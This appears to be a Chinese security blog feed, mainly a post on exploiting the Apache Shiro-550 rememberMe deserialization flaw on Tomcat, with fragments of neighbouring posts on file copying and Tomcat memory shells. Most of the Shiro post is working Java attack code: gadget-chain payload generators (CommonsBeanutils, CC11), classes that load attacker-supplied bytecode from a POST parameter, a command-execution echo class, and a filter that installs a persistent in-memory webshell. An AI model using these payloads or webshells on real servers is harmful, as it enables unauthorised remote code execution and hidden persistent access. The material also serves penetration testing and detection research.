`1`	`for /f "delims==" %a in ('dir /b /s C:\\Users\\xxx\\Desktop\\WeblogicEnvironment\\middleware\\bak\\*.jar')do copy /y "%a" C:\\Users\\xxx\\Desktop\\jar2\\`

Linux命令

1
2

#复制modules下jar后缀文件到jar目录
find modules/ -name "*.jar" |xargs -n1 -I {} cp {} ./jar/;

参考

Shiro 回显与内存马实现

myzx.xcg@gmail.com (myzxcg) — Mon, 01 Nov 2021 00:45:08 +0800

本文主要对Shiro反序列化利用过程涉及到的问题进行分析。因其触发原理比较简单，对调试分析过程就不过多叙述了。

Shiro-550

1.2.4版本的AES加密的密钥默认硬编码在代码里。而对rememberMe字段的处理是AES解密后直接进行反序列化。所以如果知道AES加密的密钥且目标有可用的gadget，便可进行利用。

修复方法: Shiro 1.2.4以上版本官方移除了代码中的默认密钥，要求开发者自己设置，如果没有设置则每次启动服务器动态生成。

在1.4.2版本之前，AES的模式为AES-CBC。在1.4.2版本后，更换加密模式为AES-GCM。

Shiro 密钥的检测原理

当密钥不正确或类型转换异常时，Response包含Set-Cookie: rememberMe=deleteMe字段。
当密钥正确且没有类型转换异常时，返回包不存在Set-Cookie: rememberMe=deleteMe字段。

当密钥不正确时，在org.apache.shiro.crypto.JcaCipherService#crypt函数抛出异常:

当返回类型不正确时，会在返回值类型转换的时候抛出异常，这里是: java.lang.ClassCastException: java.util.HashMap cannot be cast to org.apache.shiro.subject.PrincipalCollection

这两个抛出的异常都在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法中捕获并处理。

在catch的onRememberedPrincipalFailure() 方法里调用了org.apache.shiro.web.servlet.impleCookie#removeFrom()方法来对返回包设置rememberMe=deleteMe字段。

所以判断密钥的正确与否，需要先让反序列化后的对象能够正常转换为PrincipalCollection对象，如果密钥正确那么返回包里就不会存在Set-Cookie: rememberMe=deleteMe字段。

可知org.apache.shiro.subject.SimplePrincipalCollection类实现了PrincipalCollection类，在转换时不会抛出异常。所以创建并序列化该对象，用Key aes加密序列化数据填充到rememberMe字段即可。

检测工具

GitHub - myzxcg/ShiroKeyCheck: Shiro key check,golang Version

这工具是今年HW后写的，Go语言练手。集成了CBC和GCM两种加密模式的检测，内置了网上泄露的100+密钥。支持自定义生成rememberMe字段、请求间隔、设置HTTP代理等。

利用过程存在的问题

Tomcat下Shiro无法利用Commons-Collections 3.1-3.2.1版本包含Transform数组的利用链。

因为Shiro重写了ObjectInputStream类的resolveClass函数。ObjectInputStream的resolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。

Shiro的resovleClass会调用tomcat的org.apache.catalina.loader.WebappClassLoaderBase#loadClass方法加载类，该方法会先寻找缓存（由于该类对数组类序列化path路径的处理问题，会找不到），找不到再调用Class.forName并使用URLClassLoader作为加载器去加载org.apache.commons.collections.Transformer类，但用这个类加载器必然也会找不到该类。

可参考：https://blog.zsxsoft.com/post/35

解决方法: Commons-Collections 3.1通过TemplatesImpl加载字节码，可见cc11链分析。
SUID 不匹配

如果序列化字节流中的serialVersionUID与目标服务器对应类中的serialVersionUID不同就会出现异常，导致反序列化失败。因为不同版本jar包可能存在不同的计算方式导致算出的SUID不同，只需要和目标一样的jar包版本去生成payload即可解决。

中间件请求头长度限制

修改Tomcat请求头最大值（适用于Tomcat 7、8、9）

通过反射修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小（默认长度8192），这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用，所以在修改完maxHeaderSize之后，需要多个连接同时访问（burp开多线程跑），让tomcat新建request的inputbuffer，这时候的buffer的大小就会使用修改后的值。

代码实现

class Tomcat789 {
        public Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {

                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
                clazz = clazz.getSuperclass();
            }
            return null;
        }

        public Object GetAcceptorThread() {
            //获取当前所有线程
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor
            for (Thread thread : threads) {
                if (thread == null || thread.getName().contains("exec")) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = this.getField(thread, "target");
                    if (!(target instanceof Runnable)) {
                        try {
                            Object target2 = this.getField(thread, "this$0");
                            target = thread;
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    Object jioEndPoint = getField(target, "this$0");
                    if (jioEndPoint == null) {
                        try {
                            jioEndPoint = getField(target, "endpoint");
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    return jioEndPoint;
                }
            }
            return null;
        }

        public Tomcat789() {
            Object jioEndPoint = this.GetAcceptorThread();
            if (jioEndPoint == null) {
                return;
            }
            Object object = getField(getField(jioEndPoint, "handler"), "global");
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                ServletContext servletContext = request.getSession().getServletContext();
                Connector[] connector=(Connector[])getField(getField(getField(servletContext,"context"),"service"),"connectors");
                org.apache.coyote.ProtocolHandler protocolHandler = connector[0].getProtocolHandler();
                ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                return;
            }

        }
    }

通过获取存储在post请求参数中的字节码，利用Classloader加载。

代码参考下面将介绍的的Tomcat回显实现。

反序列化回显

利用JSP注入的时候由于request和response是jsp的内置对象，所以在回显问题上不用考虑。但是当结合反序列化进行注入的时候需要获取到request和response对象才能进行回显。

获取request和response对象的方法

通用型回显（适用于Tomcat 6、7、8、9）（参考之前的文章：获取StandardContext）。

代码实现

package com.example.web;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Iterator;

public class goodServlet extends HttpServlet {
    public void init() {
    }

    public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        try {
            Tomcat6789 aa = new Tomcat6789();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void destroy() {
    }

    class Tomcat6789 {
        public Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {

                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
                clazz = clazz.getSuperclass();
            }
            return null;
        }

        public Object GetAcceptorThread() {
            //获取当前所有线程
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor
            for (Thread thread : threads) {
                if (thread == null || thread.getName().contains("exec")) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = this.getField(thread, "target");
                    if (!(target instanceof Runnable)) {
                        try {
                            Object target2 = this.getField(thread, "this$0");
                            target = thread;
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    Object jioEndPoint = getField(target, "this$0");
                    if (jioEndPoint == null) {
                        try {
                            jioEndPoint = getField(target, "endpoint");
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    return jioEndPoint;
                }
            }
            return null;
        }

        public Tomcat6789() {
            Object jioEndPoint = this.GetAcceptorThread();
            if (jioEndPoint == null) {
                return;
            }
            Object object = getField(getField(jioEndPoint, "handler"), "global");
            //从找到的Acceptor线程中获取请求域名、请求的路径
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                //通过自定义header ，通过获取header来判断指定的request对象
                String s = ((org.apache.coyote.Request) req).getHeader("yougood");
                //获得org.apache.catalina.connector.Request对象
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                if (s != null) {
                    org.apache.catalina.connector.Response response =request.getResponse();
                    try {
                        response.getWriter().println(request.getParameter("aa"));
                    } catch (IOException e) {
                        e.printStackTrace();
                    }

                   /*//或者利用org.apache.coyote.Response 回显
                    org.apache.coyote.Response response = (org.apache.coyote.Response) getField(req, "response");
                    ByteChunk byte1 = new ByteChunk();
                    byte1.setBytes(xxx.getBytes(StandardCharsets.UTF_8), 0, xxx.length());
                    try {
                        response.doWrite(byte1);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }*/
/*                  tomcat 9回显方式
                    ByteBuffer byte2=ByteBuffer.wrap(xxx.getBytes(StandardCharsets.UTF_8));
                    try {
                        response.doWrite(byte2);
                    } catch (IOException ex) {
                        ex.printStackTrace();
                    }*/

                }

            }
        }
    }
}

利用lastServicedRequest和lastServicedResponse

这两个都是静态变量。在ApplicationFilterChain#internalDoFilter中，当WRAP_SAME_OBJECT为 true 时会调用ThreadLocal的set函数将request和response存放进去（tomcat6是STRICT_SERVLET_COMPLIANCE）。

可以利用反射来修改WRAP_SAME_OBJECT为 true ，同时初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal对象。第一次访问时通过反射修改并初始化这三个参数，第二次访问时获取参数即可。

代码实现（适用于Tomcat6、7、8、9）

try {
 	Field wrap_same_object =null;
 	try{
 		wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
 	}catch (Exception e){
 		//tomcat6 修改STRICT_SERVLET_COMPLIANCE变量
 		wrap_same_object = Class.forName("org.apache.catalina.Globals").getDeclaredField("STRICT_SERVLET_COMPLIANCE");
 	}
 	Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
 	Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
 	lastServicedRequest.setAccessible(true);
 	lastServicedResponse.setAccessible(true);
 	wrap_same_object.setAccessible(true);
 	//修改final
 	Field modifiersField = Field.class.getDeclaredField("modifiers");
 	modifiersField.setAccessible(true);
 	modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
 	modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
 	modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
 	boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
 	ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
 	ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);
 	if (!wrap_same_object1 && requestThreadLocal == null && responseThreadLocal == null){
 		wrap_same_object.setBoolean(null,true);
 		lastServicedRequest.set(null,new ThreadLocal<>());
 		lastServicedResponse.set(null,new ThreadLocal<>());
 	}else{
 		ServletResponse servletResponse = responseThreadLocal.get();
 		servletResponse.getWriter().write("111");
 	}
 } catch (Exception e) {
 	e.printStackTrace();
 }

注： Shiro不能用该方法获取Response，因为rememberMe的实现使用了自己实现的filter。request、response的设置是在漏洞触发点之后。

Tomcat 8、9版本可以通过StrandContext获取到Resquest、Response对象。如图

代码实现

org.apache.catalina.loader.WebappClassLoaderBase 						webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
 Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
 context.setAccessible(true);
 ApplicationContext ApplicationContext = (ApplicationContext) context.get(standardContext);
 Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
 service.setAccessible(true);
 StandardService standardService = (StandardService) service.get(ApplicationContext);

 Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
 connectors.setAccessible(true);
 Connector[] connector = (Connector[]) connectors.get(standardService);

 Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
 protocolHandler.setAccessible(true);
 AbstractProtocol abstractProtocol = (AbstractProtocol) protocolHandler.get(connector[0]);

 Field handler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
 handler.setAccessible(true);
 AbstractEndpoint.Handler AChandler = (AbstractEndpoint.Handler) handler.get(abstractProtocol);

 Field global = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
 global.setAccessible(true);
 org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) global.get(AChandler);

 Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
 processors.setAccessible(true);
 java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);

 Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
 req.setAccessible(true);
 for (RequestInfo requestInfo : RequestInfo_list) {

     org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
     org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
     org.apache.catalina.connector.Response response2 = request2.getResponse();
     //可添加条件，通过header来判断指定请求（不然内容会写到其他请求中去）
     response2.getWriter().write("111");

 }
 } catch (Exception e) {
 	e.printStackTrace();
 }

defineClass异常回显；URLClassLoader异常回显；RMI绑定实例回显；

参考: https://www.cnblogs.com/nice0e3/p/14945707.html

回显实现

适用于Tomcat 7、8、9。已解决请求头长度限制问题（从Post请求中获取字节码加载）

Tomcat 6无法利用（调试CommonsBeanutils和cc11利用链发现，反序列化时无法获取[[B的class类型。tomcat6的WebappClassLoader类加载器和子类加载器都找不到[[B的类）

TD类代码实现

该类是在TemplatesImpl加载的字节码的类，该类中从Acceptor线程中获取request和response对象，获取请求Post参数中的字节码base64解码后，加载调用对象的equals方法（传入获取request和response对象）。

package deserialize;

import java.lang.reflect.Field;
import java.util.Iterator;

public class TD {
    static {
        Object jioEndPoint = GetAcceptorThread();
        if (jioEndPoint != null) {
            java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                org.apache.catalina.connector.Response response = request.getResponse();
                String code = request.getParameter("wangdefu");
                if (code != null) {
                    try {
                        byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
                        java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                        defineClassMethod.setAccessible(true);
                        Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
                        cc.newInstance().equals(new Object[]{request, response});
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }
    }

    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public static Object GetAcceptorThread() {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null || thread.getName().contains("exec")) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    try {
                        Object target2 = getField(thread, "this$0");
                        target = thread;
                    } catch (Exception e) {
                        continue;
                    }
                }
                Object jioEndPoint = getField(target, "this$0");
                if (jioEndPoint == null) {
                    try {
                        jioEndPoint = getField(target, "endpoint");
                    } catch (Exception e) {
                        continue;
                    }
                }
                return jioEndPoint;
            }
        }
        return null;
    }
}

cmd类代码实现

该类的字节码会被base64编码后，放在wangdefu请求参数中。在TD类中获取该参数并加载。

package deserialize;

import java.io.InputStream;
import java.util.Scanner;

public class cmd {
    public boolean equals(Object req) {
        Object[] context=(Object[]) req;
        org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
        org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                response.setContentType("text/html;charset=utf-8");
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().println("----------------------------------");
                response.getWriter().println(output);
                response.getWriter().println("----------------------------------");
                response.getWriter().flush();
                response.getWriter().close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return true;
    }
}

run类代码实现

通过CommonsBeanutils利用链加载TD类的字节码，生成序列化数据。获取cmd类的字节码，并base64编码输出。

package deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class run {
    public static void main(String[] args) {
        try {
            //获取字节码
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(deserialize.run.class.getClass()));
            CtClass ctClass = pool.get("deserialize.TD");
            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = ctClass.toBytecode();

            CtClass ctClass2 = pool.get("deserialize.cmd");
            byte[] classBytes2 = ctClass2.toBytecode();
            System.out.println("post请求参数wangdefu\\n" + Base64.getEncoder().encodeToString(classBytes2));

            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setField(templates, "_name", "name");
            setField(templates, "_bytecodes", new byte[][]{classBytes});
            setField(templates, "_tfactory", new TransformerFactoryImpl());
            setField(templates, "_class", null);

            BeanComparator beanComparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);

            PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);

            setField(priorityQueue, "queue", new Object[]{templates, templates});
            setField(priorityQueue, "size", 2);

            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
            inputStream.readObject();
            inputStream.close();
        } catch (Exception e) {
        }

    }

    public static void setField(Object object, String field, Object args) throws Exception {
        Field f0 = object.getClass().getDeclaredField(field);
        f0.setAccessible(true);
        f0.set(object, args);

    }
}

通过RMI绑定实例获取回显（有点鸡肋，需要在目标开RMI服务，在远程连接，如果内网机器做了反代就没法用）通过defineClass定义的恶意命令执行字节码来绑定RMI实例，接着通过RMI调用绑定的实例拿到回显结果。Weblogic使用ClassLoader和RMI来回显命令执行结果
URLClassLoader抛出异常通过将回显结果封装到异常信息抛出拿到回显。参考Java 反序列化回显的多种姿势
dnslog或如果知道web路径可以写文件

反序列化注入内存马

Tomcat7 Filter内存马（Tomcat 8、9 需要改一下FilterMap和FilterDef的包名）

maven 导一下包（以免本地报错）

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>7.0.109</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-coyote</artifactId>
    <version>7.0.109</version>
</dependency>

TD类代码实现

和回显部分代码相同。

package deserialize;

import java.lang.reflect.Field;
import java.util.Iterator;

public class TD {
    static {
        //System.out.println("aaaa");
        Object jioEndPoint = GetAcceptorThread();
        if (jioEndPoint != null) {
            java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                org.apache.catalina.connector.Response response = request.getResponse();
                String code = request.getParameter("wangdefu");
                if (code != null) {
                    try {
                        byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
                        java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                        defineClassMethod.setAccessible(true);
                        Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
                        cc.newInstance().equals(new Object[]{request, response});
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }
    }

    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public static Object GetAcceptorThread() {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null || thread.getName().contains("exec")) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    try {
                        Object target2 = getField(thread, "this$0");
                        target = thread;
                    } catch (Exception e) {
                        continue;
                    }
                }
                Object jioEndPoint = getField(target, "this$0");
                if (jioEndPoint == null) {
                    try {
                        jioEndPoint = getField(target, "endpoint");
                    } catch (Exception e) {
                        continue;
                    }
                }
                return jioEndPoint;
            }
        }
        return null;
    }
}

memery类代码实现

和上面回显的cmd类差不多，只是换成了注册filter。注意，不能将注入的filter写成内部类或者匿名内部类，CtClass ctClass2 = pool.get("deserialize.memery"); 是不会获取到它的内部类的，所以这里直接让memery类实现Filter接口，成为Filter类。在服务器端会报找不到该内部类。

package deserialize;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

public class memery implements Filter{
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null) {
            try {
                servletResponse.setContentType("text/html;charset=utf-8");
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\\\a");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().println("----------------------------------");
                servletResponse.getWriter().println(output);
                servletResponse.getWriter().println("----------------------------------");
                servletResponse.getWriter().flush();
                servletResponse.getWriter().close();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return;
        }
        try {
            filterChain.doFilter(servletRequest, servletResponse);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void destroy() {

    }
    @Override
    public boolean equals(Object req) {
        Object[] context=(Object[]) req;
        org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
        org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
        try{
            String name="wotaifu";
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            if (filterConfigs.get(name) == null) {
                Filter filter = new memery();
                System.out.println("123456");
                //添加filter到filterDef
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                //添加filterDef到filterDefs中
                standardContext.addFilterDef(filterDef);
                //创建FilterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                //将该FilterMap添加到最前面
                standardContext.addFilterMapBefore(filterMap);
                //创建ApplicationFilterConfig类, 并将它添加到filterConfigs中
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                response.getWriter().println("Success");
                response.getWriter().flush();
                response.getWriter().close();
            }
        }catch(Exception e){
            e.printStackTrace();
        }
        return true;
    }
}

run代码实现

这里和回显部分相同

package deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class run {
    public static void main(String[] args) {
        try{
            //获取字节码
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(deserialize.run.class.getClass()));
            CtClass ctClass = pool.get("deserialize.TD");
            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = ctClass.toBytecode();

            CtClass ctClass2 = pool.get("deserialize.memery");
            byte[] classBytes2 = ctClass2.toBytecode();
            System.out.println("post请求参数wangdefu\\n"+Base64.getEncoder().encodeToString(classBytes2));

            byte[][] targetByteCodes = new byte[][]{classBytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();

            Field f0 = templates.getClass().getDeclaredField("_bytecodes");
            f0.setAccessible(true);
            f0.set(templates,targetByteCodes);

            f0 = templates.getClass().getDeclaredField("_name");
            f0.setAccessible(true);
            f0.set(templates,"name");

            f0 = templates.getClass().getDeclaredField("_class");
            f0.setAccessible(true);
            f0.set(templates,null);
            //最终要调用到TemplatesImpl的newTransformer()方法

            InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
            HashMap innermap = new HashMap();
            LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
            //利用LazyMap的get()来触发transform()。TiedMapEntry类的getValue()调用LazyMap的get()方法
            TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
            //触发点: 在Hashset的readObject方法中，会去调用map的put方法，这里的map为Hashmap的对象，然后会逐步调用到TiedMapEntry类的getValue()方法

            //查一下hashSet
            HashSet hashset = new HashSet(1);
            hashset.add("foo");

            Field f = null;
            try {
                f = HashSet.class.getDeclaredField("map");
            } catch (NoSuchFieldException e) {
                f = HashSet.class.getDeclaredField("backingMap");
            }
            f.setAccessible(true);
            HashMap hashset_map = (HashMap) f.get(hashset);

            Field f2 = null;
            try {
                f2 = HashMap.class.getDeclaredField("table");
            } catch (NoSuchFieldException e) {
                f2 = HashMap.class.getDeclaredField("elementData");
            }

            f2.setAccessible(true);
            Object[] array = (Object[])f2.get(hashset_map);

            Object node = array[0];
            if(node == null){
                node = array[1];
            }
            Field keyField = null;
            try{
                keyField = node.getClass().getDeclaredField("key");
            }catch(Exception e){
                keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
            }
            keyField.setAccessible(true);
            keyField.set(node,tiedmap);

            Field f3 = transformer.getClass().getDeclaredField("iMethodName");
            f3.setAccessible(true);
            f3.set(transformer,"newTransformer");

            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
            inputStream.readObject();

        }catch (Exception e){
            //e.printStackTrace();
        }

    }
}

参考

Tomcat 内存马分析及检测

myzx.xcg@gmail.com (myzxcg) — Fri, 29 Oct 2021 00:00:10 +0800

Filter

Filter作用就是对web资源进行拦截，做一些处理后再交给下一个Filter或servlet处理。通常都是用来拦截request或response进行处理。

Filter调用流程:

创建FilterChain，从FilterMaps中找出与请求URL对应的Filter名称，获取该名称对应的FilterConfig（在filterConfigs中查找），并添加到FilterChain中。
